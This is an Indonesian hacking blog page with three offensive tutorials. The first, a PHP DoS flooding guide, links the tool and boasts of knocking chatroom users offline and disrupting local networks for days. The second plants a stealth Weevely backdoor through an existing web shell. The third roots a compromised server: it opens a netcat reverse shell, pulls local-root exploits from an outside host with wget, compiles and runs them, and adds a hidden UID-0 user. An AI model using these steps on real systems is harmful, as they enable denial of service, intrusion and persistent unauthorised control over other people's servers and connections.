Tools ini biasa saya gunakan kalau lagi jengkel dengan orang yang banyak omong kosong, biasanya di chatroom ada yang ngomong sembarangan iseng saya flood sampai internetnya mati total, pernah juga saya gunakan mengganggu jaringan disekitar sini sampai berhari-hari hehehe…. jangan bilang-bilang ya 
 
Ada banyak pertanyaan dan pernyataan orang tentang PHP DOS. Yang paling umum adalah kenapa gagal? Gagal karena data yang kita kirimkan lebih kecil dari pipa yang digunakan target sehingga efeknya tidak akan terasa. 
<div class="separator" style="clear: both; text-align: center;"><a href="http://id.istanto.net/wp-content/uploads/2011/05/ist-gagal-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="96" src="http://id.istanto.net/wp-content/uploads/2011/05/ist-gagal-1.jpg" width="320" /></a></div>Lalu bagaimana agar bisa berhasil? gampang, di balik saja! 
<div class="separator" style="clear: both; text-align: center;"><a href="http://id.istanto.net/wp-content/uploads/2011/05/ist-berhasil-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="98" src="http://id.istanto.net/wp-content/uploads/2011/05/ist-berhasil-1.jpg" width="320" /></a></div>Dari gambar di atas sudah jelas aturannya jika kita ingin berhasil melakukan flooding resource kita harus lebih besar dari target. Resource ini meliputi kecepatan processor, jumlah random access memory, dan yang terpenting ialah kemampuan transfer data. 
 
Persyaratan umum yang diperlukan: 
 
Dedicated Server/Virtual Private Server (Windows/linux). 
XAMPP/LAMPP. 
Kemampuan transfer data yang sangat besar (misalnya 100GigaBytesPerSeconds) 
Mengikuti aturan diatas bahwa resource kita harus lebih besar dari target untuk itu saya arahkan ke dedicated server/virtual private server karena umumnya kedua produk ini resourcenya di atas rata-rata umum dan penggunaannya bebas tergantung kemauan pemiliknya. Setelah membeli salah satu produk ini selanjutkan kita install saja langsung xamp/lampp. 
 
Kemudian langkah selanjutnya <a href="http://www.ziddu.com/download/15102905/phpdos.rar.html" target="_blank">Download Filenya</a> 
extract, lalu letakkan didalam folder public_html/htdocs apalah namanya yang jelas folder yang bisa diakses publik. 
Setelah itu akan kita dapatkan tampilan seperti ini.. 
<div class="separator" style="clear: both; text-align: center;"><a href="http://id.istanto.net/wp-content/uploads/2011/05/ist-php-dos.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="209" src="http://id.istanto.net/wp-content/uploads/2011/05/ist-php-dos.jpg" width="320" /></a></div> Cara menggunakanny mudah saja, ketikkan IP target kedalam kolom IP. Pada kolom time kita masukkan interval berapa lama kita ingin melakukan flooding (dalam hitungan detik) misalnya kita ingin flood selama 1 jam maka valuenya adalah 60×60=3600. Pada kolom port kita bisa tentukan sendiri port berapa yang akan kita gunakan, umumnya adalah port 80. Setelah semua value kita masukkan tinggal klik pada tombol “start the attack” lalu browsernya jangan kita tutup. 
 
dalam 1-5 menit kedepan jika resource kita lebih besar daripada target maka dapat dipastikan target akan mengalami efek leher botol, yaitu data yang dikirimkan menuju target akan lebih besar dari kemampuan menerima target sehingga akibatnya target tidak bisa mengirimkan data keluar maupun masuk. yang akan dirasakan oleh target adalah koneksi internetnya terputus.. 
 
WARNING: 
 
Jangan digunakan pada shared hosting apalagi free hosting. 
Jangan terlalu iseng/sembarangan semua orang di flood, gunakan sebijak mungkin. 
Semua risiko yang dilakukan mengikuti artikel ini adalah tanggung jawab pribadi masing-masing. 
 
Credit: <a href="http://devilzc0de.org/forum/23400">cliquersz</a>

Flooding Dengan PHP DOS

30 Mar 2012

Share Tools Hacking [Update]

Share Tools Hacking [Update]

Sdkit Tools dari ane.. Havij Pro 1.15 SQL Poizon aka Dork Scanner 5 Webdav (Hmei7) [Update]…

29 Mar 2012

Backdooring With Weevely

kali ini kita akan melakukan backdooring menggunakan weevely.... 
syarat : punya shell di situs target ex: <a href="http://target.com/uploads/r57.php" target="_blank">http://target.com/uploads/r57.php</a> 
kl yang belum punya silahkan dilihat di <a href="http://code.google.com/p/weevely/" target="_blank">sini... </a> 
 
bagi pengguna backtrack dan blackbuntu ,weevely sudah ada ko... 
tinggal jalanin aja.. 
Application >> pentest >> maintain access >> backdoors and rootkit >> weevely.  
 
setelah itu kita buat backdoornya pake perintah. 
<blockquote class="tr_bq">
./weevely -g -o <filepath> -p <pass> 
<filepatch> tempat simpan file backdoornya 
<pass> password untuk backdoornya</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://jinc0rn.comli.com/photo/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="http://jinc0rn.comli.com/photo/1.png" width="320" /></a></div>
 /home/jincorn/door.php >> tempat file backdoor 
jincorn >> passwornya 
 
coba kita ck dl file backdoornya.. 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://jinc0rn.comli.com/photo/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="131" src="http://jinc0rn.comli.com/photo/2.png" width="320" /></a></div>
udah ada tu kan door.php 
setelah itu kita upload backdoornya ke situs target melalui shell yang sudah kita siapkan...<div class="separator" style="clear: both; text-align: center;">
<a href="http://jinc0rn.comli.com/photo/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="http://jinc0rn.comli.com/photo/3.png" width="320" /></a></div>
Oke.. 
sekarang tinggal akses aja backdoor kita dari terminal... 
<blockquote class="tr_bq">
./weevely -t -u <url> -p <password> 
<url> situs target yang udah kita tanem backdoornya 
<password> pass backdoor yg tadi kita buat</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://jinc0rn.comli.com/photo/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="119" src="http://jinc0rn.comli.com/photo/4.png" width="320" /></a></div>
oke kita tes... 
pake commad "ls aja.. 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://jinc0rn.comli.com/photo/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="http://jinc0rn.comli.com/photo/5.png" width="320" /></a></div>
tukan semua file yang ada di situs target kelihatan... 
sekarang terserah kita.. 
kita sudah tanem stealth backdoor... 
 
<a href="http://www.elirhab.com/" target="_blank">Credit</a>

Backdooring With Weevely

kali ini kita akan melakukan backdooring menggunakan weevely.... syarat : punya shell di situs target ex: http://target.com/uploads/r57.php kl yang belum punya silahkan dilihat di sini... bagi penggu…

20 Mar 2012

Root Server & Menambahkan User Root Baru

<div class="separator" style="clear: both; text-align: center;">
</div>
Cara untuk ngeroot server & menambahkan user root baru, dikemudian hari bisa digunakan lebih jauh. 
Hal yang dibutuhkan adalah: 
<ul>
<li>Komputer & Kopi <img alt="ngopi" border="0" src="http://devilzc0de.org/forum/images/smilies/ngopi.gif" style="vertical-align: middle;" title="ngopi" /></li>
<li>Situs target yang sudah di inject “shell backdoor”</li>
<li>Tool-tool Localroot Exploit</li>
<li>Netcat 
</li>
</ul>
1. Cari Informasi Detail Server Target 
 
Buka shell php di website yang sebelumnya telah ter-hack & terpasang backdoor “shell php” 
 
Tampilannya akan seperti dibawah: 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/Rxh6os7e4dge3uN-Region.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="http://images.devs-on.net/Image/Rxh6os7e4dge3uN-Region.png" width="320" /></a></div>
 Langkah selanjutnya adalah pastikan anda mengetahui kernel server 
yang dipakai, biasanya sudah ada informasinya di “shell backdoor” 
seperti contoh di atas yaitu: 
 
Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686 
 
Atau anda juga bisa menggunakan dan menjalankan perintah: uname -a 
 
Dari informasi diatas kita ketahui bahwa kernelnya adalah: 2.6.18-8 i686 
 
Nah, setelah mengetahui informasi kernel, maka langkah yang harus 
dilakukan adalah cari dan temukan “LocalRoot Exploit” tool yang cocok 
untuk kernel diatas. Sediakan localroot untuk kernel ini: 2.6.18-8.el5 
#1 SMP Fri Jan 26 14:15:21 EST 2007 i686. 
 
Kita cari disini saja localroot exploitnya, kebetulan banyak listnya: localroot.th3-0utl4ws  
 
2. BackConnecting Dari Server Ke Komputer Attacker 
 
Seperti yang disampaikan sebelumnya, yang dibutuhkan dalam hal ini adalah: 
 
<ol type="1">
<li>Netcat Tools (Harus sudah terinstall di komputer)</li>
<li>Open port (Port-port yang secara otomatis terbuka) 
</li>
</ol>
 
Buka netcat dan jalankan perintah berikut, misal port yang akan digunakan adalah 443: 
 
C:\WINDOWS\system32\cmd.exe – nc -l -n -v -p 443 
 
Kemudian tekan “Enter” 
 
Nanti akan muncul pesan “Listening on [any] 443 …” 
 
Setelah itu, kita kembali ke “shell backkdor” yang sudah kita tanamkan. 
Cari fungsi “Back Connect“, kemudian isikan IP yang kita miliki & port. 
 
Misal: IP Kita: 10.10.10.10 dan port: 443, seperti gambar dibawah: 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/23cSqoxuW7FY3MO-Region.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="41" src="http://images.devs-on.net/Image/23cSqoxuW7FY3MO-Region.png" width="320" /></a></div>
Kita jalankan perintah “Connect” 
 
Klo berhasil akan muncul seperti ini di layar command line kita, itu artinya back connect berhasil dengan sukses. 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/FuV6epg7POchdxV-CWINDOWSsystem32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="159" src="http://images.devs-on.net/Image/FuV6epg7POchdxV-CWINDOWSsystem32.png" width="320" /></a></div>
3. Download Exploit & Eksekusi Exploit
 
Kita akan membutuhkan localroot exploit, bisa di download dari link yang
 sudah disebutkan diatas, adapun beberapa cara yang bisa dilakukan 
yaitu: 
<ul>
<li>Menggunakan fungsi “WGET / CURL”</li>
<li>Bisa menggunakan cara upload manual dari shell 
</li>
</ul>
Berhubung di server ini “WGET” bisa dilakukan, maka download localroot exploit memakai fungsi “WGET”. 
Oke, copy saja download link “localroot exploit yang tepat: 
 
Download Kumpulan Tools Localroot Dari Th3-0utl4ws 
Untuk mendownload tools diatas ketikkan saja perintah: 
wget <a href="http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip" target="_blank">http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip</a> 
 
Apabila sudah terdownload maka extract “local root tools” tersebut, bisa
 dengan menggunakan perintah “unzip” atau “untar” atau “tar” 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/vjUt4DhVknKljlm-CWINDOWSsystem32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="159" src="http://images.devs-on.net/Image/vjUt4DhVknKljlm-CWINDOWSsystem32.png" width="320" /></a></div>
 
Seperti contoh diatas, “localroot exploit sudah terdownload” dan ter-extract: 
 
unzip prct1.c.zip 
 
Langkah selanjutnya adalah mengcompile localroot exploit tersebut, 
karena menggunakan bahasa “C”, maka yang digunakan adalah perintah GCC: 
 
gcc prct1.c -o prc 
 
Kemudian jalankan: 
 
./prc 
 
Catatan: Jika gagal dan muncul error, sebaiknya menggunakan tools “local root” exploit yang lainnya. (JANGAN MENYERAH!) 
 
Yang di atas masih gagal, lakukan lagi & cari exploit lainnya! 
 
Unzip lagi file localroot exploit yang lainnya: unzip 2.6.18-164.zip 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/XgNQSgGHdRXyIN5-CWINDOWSsystem32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="159" src="http://images.devs-on.net/Image/XgNQSgGHdRXyIN5-CWINDOWSsystem32.png" width="320" /></a></div>
 Nah, localroot exploit diatas sangat cocok untuk kernel ini: (“2.6.18-164“) 
 
Karena sudah berbentuk file yang sudah dicompile dan sudah bisa di 
eksekusi, langsung saja dieksekusi & jangan lupa change 
permissionnya jadi “777″, seperti contoh berikut: 
 
chmod 777 2.6.18-164 
 
Kemudian jalankan exploit: 
 
./2.6.18-164 
 
Untuk mengecek apakah kita sudah berhasil mendapatkan akses root, check dengan perintah berikut: 
 
id 
or 
whoami 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/1nOr845qTNAPEn3-CWINDOWSsystem32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="227" src="http://images.devs-on.net/Image/1nOr845qTNAPEn3-CWINDOWSsystem32.png" width="320" /></a></div>
Jreng.. Jreng.. Jreng.. Anda sudah mendapatkan akses root, congrat! 
 
3. Menambahkan User Root Baru 
 
Menambahkan user akses selevel dengan root sangatlah mudah, gunakan saja
 perintah berikut, sebagai contoh kita akan menambahkan akses root 
dengan user “Haxorfortutorial“: 
 
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M Haxorfortutorial 
 
Penjelasan perintah: 
Quote: 
 
adduser – Perintah dasar linux untuk menambahkan user 
 
-u 0 -o – set user menjadi dengan ID nol (0) root. 
 
-g 0 – Set initial group dengan ID nol (0) root. 
 
-G 0,1,2,3,4,6,10 – Set additional group ke: 
0 = root 
1 = bin 
2 = daemon 
3 = sys 
4 = adm 
6 = disk 
10 = wheel 
 
-M – ‘home directory’ tidak di create ke user. 
 
Haxorfortutorial - User name of the new user account. 
 
Catatan: Rubah user Haxorfortutorial sesuai dengan username yang kalian inginkan, ini hanya contoh saja. 
 
Selanjutnya, lakukan set password untuk user yang telah kita buat. 
 
Perintahnya: 
passwd Haxorfortutorial 
 
Contoh implementasi: 
 
[root@fedora ~]# passwd Haxorfortutorial 
Changing password for user Haxorfortutorial. 
New UNIX password: 
Retype new UNIX password: 
passwd: all authentication tokens updated successfully. 
 
id Haxorfortutorial 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://images.devs-on.net/Image/LEoszc56WjqoepL-CWINDOWSsystem32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="100" src="http://images.devs-on.net/Image/LEoszc56WjqoepL-CWINDOWSsystem32.png" width="320" /></a></div>
Semoga Membantu.. :)

Root Server & Menambahkan User Root Baru

Cara untuk ngeroot server & menambahkan user root baru, dikemudian hari bisa digunakan lebih jauh. Hal yang dibutuhkan adalah: Komputer & Kopi Situs target yang sudah di inject “shell backdoor” Tool…

01 Mar 2012

Load more posts